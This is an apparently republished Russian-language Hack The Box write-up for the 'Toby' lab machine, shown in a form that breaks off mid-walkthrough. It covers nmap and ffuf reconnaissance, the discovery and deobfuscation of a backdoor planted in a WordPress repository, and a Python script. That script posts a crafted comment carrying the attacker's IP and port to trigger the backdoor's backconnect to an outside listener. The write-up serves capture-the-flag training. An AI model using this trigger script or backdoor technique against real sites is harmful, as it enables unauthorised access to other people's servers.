Категория > Новости > HTB Toby. Взламываем сервер через череду чужих бэкдоров - «Новости»
HTB Toby. Взламываем сервер через череду чужих бэкдоров - «Новости»21-04-2022, 00:00. Автор: Richardson |
Hack The Box. Посмотрим, как работает бэкдор для WordPress, и используем его, чтобы получить доступ к хосту. Затем проникнем в Docker, перехватим пароль пользователя при подключении к базе данных и секретный ключ при подключении к SSH. А в конце поищем, разберем и используем бэкдор в механизме аутентификации Linux.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в
10.10.11.121 toby.htb
И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Нашли четыре открытых порта:
Как обычно, начнем с веб‑сервера, тем более Nmap сам нашел для нас файл robots.txt. Справка: robots.txtЭтот файл используется для того, чтобы попросить краулеры (например, Google или Яндекс) не трогать какие‑то определенные каталоги. Например, никто не хочет, чтобы в поисковой выдаче появлялись страницы авторизации администраторов сайта, файлы или персональная информация со страниц пользователей и прочие вещи в таком духе. Однако и злоумышленники первым делом просматривают этот файл, чтобы узнать о файлах и каталогах, которые хочет спрятать администратор сайта. Сканирование веб-контентаВ robots.txt записана директория
10.10.11.121 toby.htb wordpress.toby.htb
История запросов BurpА на самом сайте находим сообщение о недавней атаке. Главная страница сайта Больше ничего любопытного найти не удалось, сканирование с помощью WPScan ничего интересного тоже не показало. А так как на сайте уже есть один поддомен, можем попытаться найти еще. Сканировать будем с помощью ffuf, а в качестве места для перебора указываем HTTP-заголовок
ffuf -uhttp://toby.htb -H "Host: FUZZ.toby.htb" -wsubdomains-top1million-110000.txt -t 256 -fs10837
Результат сканирования поддоменовНаходим новый поддомен
10.10.11.121 toby.htb wordpress.toby.htb backup.toby.htb
Главная страница сайта Точка входаВ Git находим одного пользователя Активные пользователи Gogs Но попробуем просканировать репозитории как каталоги с помощью того же ffuf.
ffuf -uhttp://backup.toby.htb/toby-admin -wdirectory_2.3_medium_lowercase.txt -t 256
Сканирование каталоговВ итоге находим два каталога, один из которых не возвращает никакого контента ( Содержимое репозитория backup Скачиваем репозиторий ( Содержимое файла wp-config.php Обратим внимание на хост Поиск по строкам Переходим к файлу Содержимое файла comment.php Это не обычный код WordPress, поэтому остановимся именно на нем. Посмотрим, где вызывается функция Поиск по строкам И видим вызов из файла Точка опорыЯ скопировал код бэкдора и обернул его в теги PHP, чтобы получить декодированный код. Но там оказался точно такой же вложенный код! Модернизирование кодаДекодированный бэкдор Похоже, таких уровней вложенности будет много. Я решил воспользоваться онлайновым сервисом для деобфускации кода. Деобфусцированный код бэкдора Здесь представлен только механизм авторизации для получения доступа к основному коду, которому передается управление через функцию Отправка комментария под постом Но на листенер ничего не пришло. Тогда откроем Wireshark, отбросим весть трафик, связанный с 80-м портом, и повторим наш коммент. И увидим попытку бэкконнекта на порт 20053! Трафик в Wireshark Перезапустим листенер с указанием нового порта и снова получим бэкконнект. В итоге вместо реверс‑шелла нам приходит какая‑то строка. Вероятно, придется программировать самим. Давай автоматизируем отправку запроса и прием бэкконнекта.
import socket
import requests
for i in range(2):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 20053))
sock.listen(1)
try:
url = 'http://wordpress.toby.htb/wp-comments-post.php'
data = {"comment": "746f627910.10.14.82:4321", "author": "ralf", "email": "help@toby.htb", "url": "http://test.toby.htb/", "submit": "Post Comment", "comment_post_ID": "2", "comment_parent": "0"
}
requests.post(url, data = data, timeout = 0.5)
except requests.exceptions.Timeout:
pass
conn, address = sock.accept()
data = conn.recv(1024)
print(data.decode())
conn.close()
sock.close()
Выполнение кодаЕще я заметил, что при каждом новом запросе первая часть строки ответа ( Выполнение кода Это натолкнуло на мысль о том, что строка закодирована в hex. И предположение оказалось верным. Если у тебя установлен пакет pwntools, можешь использовать команду unhex. Декодирование шестнадцатеричных значений Также получаем новую пометку: Декодирование значения xor_key Перейти обратно к новости |